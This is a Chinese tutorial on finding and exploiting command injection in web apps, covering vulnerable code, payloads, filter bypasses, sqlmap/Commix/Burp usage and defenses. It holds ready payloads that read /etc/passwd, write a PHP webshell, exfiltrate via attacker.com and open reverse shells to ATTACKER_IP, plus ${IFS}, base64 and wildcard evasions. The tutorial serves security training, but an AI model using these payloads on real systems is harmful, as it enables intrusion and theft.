命令执行漏洞挖掘教程:从原理到实战

📅 2026/8/27 21:13:07
命令执行漏洞挖掘教程:从原理到实战
1. 引言命令执行漏洞Command Injection是 Web 安全领域中最危险的漏洞类型之一。攻击者通过构造恶意输入将系统命令注入到应用程序的调用链中从而在服务器上执行任意命令直接获取服务器控制权。无论是传统的 PHP 站点还是现代的 Java、Python、Node.js 应用只要开发者将用户输入拼接到系统命令中就可能引入此类漏洞。本教程将从漏洞原理出发结合代码示例、挖掘思路、利用技巧与防御方案帮助你系统掌握命令执行漏洞的挖掘与防护。2. 漏洞原理命令执行漏洞的本质是应用程序将不可信的用户输入未经严格过滤或校验直接拼接进系统命令字符串中并交由操作系统执行。以 PHP 为例以下代码存在典型的命令执行漏洞?php$ip$_GET[ip];$resultshell_exec(ping -c 4 .$ip);echopre.$result./pre;?当用户输入127.0.0.1时命令为ping -c 4 127.0.0.1一切正常。但当用户输入127.0.0.1; whoami时实际执行的命令变为ping-c4127.0.0.1;whoami分号;让操作系统依次执行两条命令whoami的结果也会被回显漏洞由此产生。3. 常见注入点与危险函数3.1 常见注入点网络诊断功能ping、traceroute、nslookup等参数文件处理功能文件名、路径参数传入cat、grep、tar等命令系统管理功能主机名、IP、端口等配置项定时任务、日志导出、备份恢复等功能模块3.2 各语言危险函数语言危险函数/方法PHPsystem()、exec()、shell_exec()、passthru()、popen()、proc_open()JavaRuntime.getRuntime().exec()、ProcessBuilderPythonos.system()、os.popen()、subprocess.call()、subprocess.run()Node.jschild_process.exec()、child_process.spawn()、child_process.execSync()Goexec.Command()、exec.CommandContext()4. 漏洞挖掘思路4.1 黑盒测试黑盒测试指在不查看源码的情况下通过发送构造的请求来探测漏洞。核心思路是找到所有可能拼接系统命令的参数注入命令分隔符与测试命令观察响应差异。常用命令分隔符;# 分号顺序执行多条命令|# 管道符将前一条命令的输出作为后一条的输入||# 逻辑或前一条失败才执行后一条# 逻辑与前一条成功才执行后一条# 反引号命令替换$()# 命令替换Bash测试命令示例;id|id||ididid$(id)判断技巧如果响应中出现了uid...之类的输出说明命令已被执行漏洞确认存在。常用 Payload 集合针对不同注入点与过滤场景可组合使用以下 Payload# 基础探测确认命令是否执行ip127.0.0.1;idip127.0.0.1|idip127.0.0.1||idip127.0.0.1idip127.0.0.1idip127.0.0.1$(id)# 无回显场景时间盲注探测延迟 5 秒ip127.0.0.1;sleep5ip127.0.0.1|sleep5ip127.0.0.1sleep5ip127.0.0.1$(sleep5)# 无回显场景带外OOB探测将结果外带到攻击者服务器ip127.0.0.1;nslookupwhoami.attacker.comip127.0.0.1|curlhttp://attacker.com/whoami# 读取文件ip127.0.0.1;cat/etc/passwdip127.0.0.1|cat/etc/passwdip127.0.0.1cat/etc/passwd# 写入文件植入 WebShellip127.0.0.1;echo?php system(\$_GET[c]);?/var/www/html/shell.php# 反弹 Shell攻击者先监听 nc -lvnp 4444ip127.0.0.1;bash-i/dev/tcp/ATTACKER_IP/444401ip127.0.0.1|ncATTACKER_IP4444-e/bin/shPayload 选择建议有回显场景优先使用;id、|id等直接回显的 Payload观察响应中是否出现uid。无回显场景优先使用sleep 5时间盲注对比响应耗时或使用nslookup、curl将结果外带到自己可控的服务器OOB。过滤空格将 Payload 中的空格替换为${IFS}如ip127.0.0.1;cat${IFS}/etc/passwd。过滤关键字对命令名做变量拼接或编码如awho;bami;$a$b。4.2 白盒审计白盒审计指直接阅读源码定位危险函数及其参数来源。审计时重点关注搜索危险函数调用点如system、exec、Runtime.getRuntime().exec回溯参数是否来自用户输入GET/POST/Cookie/Header/上传文件名检查是否存在过滤过滤是否可绕过// Java 示例存在漏洞的代码Stringcmdping -c 4 request.getParameter(ip);ProcesspRuntime.getRuntime().exec(cmd);4.3 绕过技巧当目标存在简单过滤时可尝试以下绕过方式4.3.1 空格过滤适用场景目标过滤了空格字符如将空格替换为空常见于 WAF 规则或代码中的str_replace( , , $input)类过滤。局限性${IFS}依赖 Bash/Sh 环境在 Windows CMD 或 PowerShell 中不生效$IFS$9中的$9用于分隔变量名与后续命令避免解析歧义但部分精简 Shell 可能不支持。# 原始命令cat/etc/passwd# 空格被过滤时用 ${IFS} 代替空格cat${IFS}/etc/passwd# 或用 $IFS$9 代替空格$9 用于分隔变量名cat$IFS$9/etc/passwd# 结合管道符使用cat${IFS}/etc/passwd|grep${IFS}root4.3.2 关键字过滤适用场景目标过滤了whoami、cat、/etc/passwd等敏感关键字如preg_replace(/whoami/i, , $input)。局限性变量拼接依赖 Shell 的变量展开机制若目标使用bash -c且未开启变量展开或过滤规则做了多次递归替换则可能失效。# 原始命令whoami# 关键字被过滤时用变量拼接awho;bami;$a$b# 或用反斜杠转义关键字w\ho\ami# 或用单引号/双引号包裹关键字whoami4.3.3 编码绕过适用场景目标对输入做了简单的关键字匹配但未对编码后的内容进行二次解码或目标命令执行前会经过一次 URL 解码、Base64 解码等处理。局限性编码绕过依赖目标是否对输入进行解码。若目标直接拼接原始输入而不做任何解码编码后的 Payload 反而无法执行Base64 方式还需要目标环境存在base64命令。# URL 编码绕过空格编码为 %20分号编码为 %3B# 原始127.0.0.1; whoami# 编码后127.0.0.1%3B%20whoami# Base64 编码执行echod2hvYW1p|base64-d|bash# 十六进制编码执行echo77686f616d69|xxd-r-p|bash4.3.4 通配符绕过适用场景目标过滤了具体命令名或文件路径关键字但未过滤通配符?、*常用于绕过对/bin/cat、/etc/passwd等路径的过滤。局限性通配符匹配依赖目标 Shell 的路径展开机制且匹配结果可能不唯一如/???/???可能匹配多个命令导致执行失败或执行到非预期命令部分过滤规则会同时拦截?和*。# 原始命令cat/etc/passwd# 通配符绕过/???/??? 匹配 /bin/cat/???/??? /etc/passwd# 更精确的匹配/bin/c?t 匹配 /bin/cat/bin/c?t /etc/passwd# 结合通配符读取文件cat/etc/pas?wd绕过技巧提示以上绕过方式仅用于授权测试场景。实际挖掘中过滤规则往往组合出现需要多种技巧叠加使用同时注意观察响应差异确认绕过是否真正生效避免盲目尝试。4.4 自动化检测工具手动测试之外借助自动化工具可以大幅提升命令注入漏洞的发现效率。下面介绍三款常用工具及其适用场景、基本用法与输出判读方法。4.4.1 sqlmapos-shell 模式sqlmap 是经典的 SQL 注入检测工具其--os-shell模式可在确认注入点后尝试直接获取目标数据库所在服务器的操作系统 Shell本质上是利用 SQL 注入配合文件读写能力来执行系统命令。适用场景目标存在 SQL 注入且数据库具备文件读写权限如 MySQL 的FILE权限、SQL Server 的xp_cmdshell。基本用法# 检测注入点并尝试获取系统 Shellsqlmap-uhttp://target.com/item.php?id1--os-shell# 指定数据库类型加快检测速度sqlmap-uhttp://target.com/item.php?id1--dbmsmysql --os-shell输出判读当 sqlmap 提示which web application language does the web server support?并成功返回os-shell交互提示符时说明已获得命令执行能力。此时可直接输入系统命令如whoami、cat /etc/passwd验证权限范围。4.4.2 Commix专用命令注入检测器CommixCommand Injection Exploiter是专门针对命令注入漏洞的自动化工具支持多种注入技术如基于时间延迟、基于输出、基于错误等并能自动尝试绕过常见过滤。适用场景目标存在疑似命令注入点需要自动化验证与利用或需要批量测试多个参数。基本用法# 检测指定 URL 中的命令注入commix--urlhttp://target.com/ping.php?ip127.0.0.1# 指定注入参数并启用自动化绕过commix--urlhttp://target.com/ping.php?ip127.0.0.1--paramip--level2# 结合 Burp Suite 抓取的请求文件进行检测commix--requestrequest.txt输出判读Commix 检测到漏洞后会输出类似Command injection point identified的提示并进入交互式 Shellid命令可直接执行。若输出中出现The results are based on ... time-based说明是通过时间盲注方式确认的漏洞此时应结合响应延迟判断命令是否执行成功。4.4.3 Burp SuiteCollaborator 与 IntruderBurp Suite 是 Web 安全测试的通用平台其 Collaborator 与 Intruder 模块可组合用于命令注入检测。适用场景目标无回显盲注场景需要借助带外OOB通道确认漏洞或需要对大量参数、Payload 进行批量枚举。基本用法# 1. 在 Burp 的 Collaborator 客户端中生成一个子域名如 xxxxx.oastify.com# 2. 构造带外 Payload注入到目标参数中# ip127.0.0.1; nslookup xxxxx.oastify.com# 3. 使用 Intruder 对参数进行批量 Payload 测试# 将请求发送到 Intruder标记注入位置加载 Payload 字典后启动攻击输出判读在 Collaborator 客户端中若收到来自目标服务器的 DNS 或 HTTP 交互记录说明注入的命令已在服务器上执行漏洞确认。Intruder 的响应对比中若某个 Payload 的响应长度、状态码或内容与其他明显不同则需重点人工复核该请求。工具使用提示自动化工具能提高效率但误报率也不低。建议将工具结果与手动验证结合——对工具标记的可疑点再用 4.1 节的黑盒手法构造 Payload 复测确认避免误判。当目标存在简单过滤时可尝试以下绕过方式空格被过滤用${IFS}或$IFS$9代替空格关键字被过滤用变量拼接如whoami编码绕过URL 编码、Base64 编码后解码执行通配符绕过/???/???匹配/bin/cat# 空格被过滤时cat${IFS}/etc/passwd# 关键字被过滤时awho;bami;$a$b# Base64 编码执行echod2hvYW1p|base64-d|bash5. 实战案例5.1 案例一Ping 功能注入某网站提供在线 Ping 工具请求如下POST /tools/ping.php ip127.0.0.1构造 PayloadPOST /tools/ping.php ip127.0.0.1;cat /etc/passwd响应中直接返回了/etc/passwd文件内容漏洞确认。5.2 案例二Java 应用命令注入某 Java Web 应用存在导出日志功能通过ProcessBuilder调用系统命令ProcessBuilderpbnewProcessBuilder(grep,keyword,/var/log/app.log);虽然ProcessBuilder以数组形式传参避免了 Shell 拼接但如果开发者错误地拼接字符串再传给bash -c同样会引入漏洞Stringcmdgrep keyword /var/log/app.log;ProcesspRuntime.getRuntime().exec(newString[]{/bin/sh,-c,cmd});6. 漏洞利用与危害命令执行漏洞一旦被利用攻击者可实现读取敏感文件cat /etc/passwd、cat /etc/shadow反弹 Shell建立交互式会话长期控制服务器植入后门写入 WebShell、添加系统用户内网渗透以服务器为跳板攻击内网其他主机数据窃取与破坏拖库、删库、勒索反弹 Shell 示例攻击者监听本地端口# 攻击者机器上执行nc-lvnp4444# 目标服务器上执行通过注入点bash-i/dev/tcp/ATTACKER_IP/4444017. 防御方案7.1 最小化命令调用尽量避免直接调用系统命令。能用 API 实现的功能就不要走 Shell。例如网络连通性检测优先使用编程语言自带的 Socket 库文件处理使用语言内置的文件操作 API7.2 参数白名单校验对用户输入做严格的白名单校验只允许预期的字符集// Java 示例IP 白名单校验Stringiprequest.getParameter(ip);if(!ip.matches(^[0-9.]$)){thrownewIllegalArgumentException(非法输入);}7.3 使用安全的命令执行方式避免拼接字符串改用参数数组方式传参// 安全的写法参数数组不经过 ShellProcessBuilderpbnewProcessBuilder(ping,-c,4,ip);# Python 安全写法importsubprocess subprocess.run([ping,-c,4,ip],checkTrue)7.4 最小权限原则应用程序使用低权限账号运行数据库、文件系统按需授权容器环境开启只读文件系统、禁用特权模式7.5 部署 WAF 与运行时防护部署 Web 应用防火墙拦截常见注入 Payload使用 RASP运行时应用自我保护产品在运行时检测命令执行行为8. 总结命令执行漏洞的挖掘核心在于识别用户输入流向系统命令的路径并验证注入是否生效。黑盒测试关注注入点与回显白盒审计关注危险函数与参数溯源。防御的关键在于尽量不调用系统命令、严格校验输入、使用安全的传参方式、遵循最小权限原则。安全是一个持续对抗的过程建议读者在本地搭建靶场如 DVWA、Pikachu反复练习将理论与实践结合才能真正提升漏洞挖掘与防护能力。